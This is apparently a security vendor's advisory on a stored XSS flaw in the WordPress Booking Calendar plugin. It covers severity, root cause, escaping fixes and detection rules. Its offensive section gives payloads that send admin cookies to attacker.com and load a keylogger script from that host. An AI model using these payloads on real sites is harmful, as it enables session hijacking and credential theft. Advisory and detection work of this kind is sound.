CVE-2025-64381

Executive Summary

CVE-2025-64381 is a Stored Cross-Site Scripting (XSS) vulnerability in the Booking Calendar plugin by Wpdevelop, a widely used WordPress booking solution. The flaw exists in versions up to and including 10.14.7, where user-supplied input is not properly neutralized during web page generation. An authenticated attacker with low privileges can inject malicious scripts that are stored on the server and executed in the browsers of other users (including administrators) when they view the compromised booking entries. This can lead to session hijacking, credential theft, or defacement. The vulnerability is classified as medium severity (CVSS 6.5) and currently has no known public exploit or patch.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Users who installed the plugin via the WordPress admin dashboard or directly from the vendor are at risk. Since the patch status is unknown, the supply chain risk is elevated—users must rely on vendor updates or manual mitigation.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: Required (victim must view the malicious booking)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. The requirement for authentication and user interaction reduces the immediate risk, but the stored nature of the XSS makes it persistent and dangerous for site administrators and visitors.

Deep Dive & Mechanics

The vulnerability resides in the Booking Calendar plugin's handling of booking form fields. When a user submits a booking, the plugin stores the input (e.g., name, email, or custom field data) without proper sanitization or output encoding. When an administrator or another user views the booking details in the WordPress admin panel or frontend, the stored script executes in their browser context.

Attack Flow:

1. An attacker registers or logs in as a low-privileged user (e.g., subscriber).
2. The attacker submits a booking with a malicious payload in a text field, such as:

   <script>alert('XSS')</script>
   

3. The plugin stores the payload in the database without sanitization.
4. An administrator views the booking list or details page.
5. The payload executes, allowing the attacker to steal cookies, perform actions on behalf of the admin, or inject further malicious content.

Root Cause: The plugin fails to apply esc_html() or similar WordPress escaping functions when outputting user-supplied data in the admin area.

Vulnerable vs. Patched Code

Vulnerable Code (example from Booking Calendar <= 10.14.7):

// In admin booking list display
echo '<td>' . $booking_data['name'] . '</td>';

Patched Code (expected fix):

// Properly escape output
echo '<td>' . esc_html( $booking_data['name'] ) . '</td>';

The vulnerable code directly echoes user input without escaping, allowing HTML/JavaScript injection. The patched version uses esc_html() to neutralize dangerous characters.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• WordPress instance with Booking Calendar <= 10.14.7
• Low-privileged user account (e.g., subscriber)

Exploitation Steps:

1. Log in as the low-privileged user.
2. Navigate to the booking form and submit a new booking.
3. In a text field (e.g., "Name"), inject the following payload:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Wait for an administrator to view the booking in the admin panel.
5. The admin's session cookie is exfiltrated to the attacker's server.

Alternative Payload (for keylogging):

<script src="https://attacker.com/keylogger.js"></script>

Blue Team (Defensive)

Detection:

• Monitor for unusual booking submissions containing <script>, <iframe>, or onerror attributes.
• Use WAF rules to block common XSS patterns in POST data.
• Review WordPress admin logs for unexpected user actions after viewing bookings.

Mitigation:

• Disable the plugin until a patch is applied.
• Implement Content Security Policy (CSP) headers to block inline scripts.
• Use a WordPress security plugin (e.g., Wordfence) to add input sanitization.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to unknown domains from the WordPress server.
• File: Modified or new JavaScript files in /wp-content/uploads/ or plugin directories.
• Database: Suspicious entries in the wp_booking_calendar table containing <script> tags.
• Logs: Repeated access to /wp-admin/admin.php?page=wpbc&... with unusual user agents.

Example IOC (database query):

SELECT * FROM wp_booking_calendar WHERE booking_text LIKE '%<script>%';

Detection Engineering

YARA Rule

rule CVE_2025_64381_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Booking Calendar plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-64381"
    strings:
        $xss1 = "<script>" ascii wide
        $xss2 = "onerror=" ascii wide
        $xss3 = "javascript:" ascii wide
        $xss4 = "onload=" ascii wide
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: Stored XSS in Booking Calendar Plugin
id: 8f3a2b1c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects stored XSS attempts in Booking Calendar submissions
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url: '*/wp-admin/admin-ajax.php*'
        http.body: '*action=booking_form*'
        http.body: '*<script>*'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in booking fields (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-64381 Stored XSS in Booking Calendar"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=booking_form"; http_client_body; pcre:"/<script[^>]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the Booking Calendar plugin until a patch is released.
2. Short-term: Apply a virtual patch using a WAF to block <script> tags in booking form submissions.
3. Long-term: Update to the latest version of the plugin once the vendor releases a fix (expected in version 10.14.8 or later).
4. Workaround: Manually add output escaping to the plugin's template files (e.g., wrap all echo statements with esc_html()).
5. Monitoring: Enable WordPress audit logging and review booking submissions for suspicious content.

Valters IT
Securing WordPress ecosystems, one CVE at a time.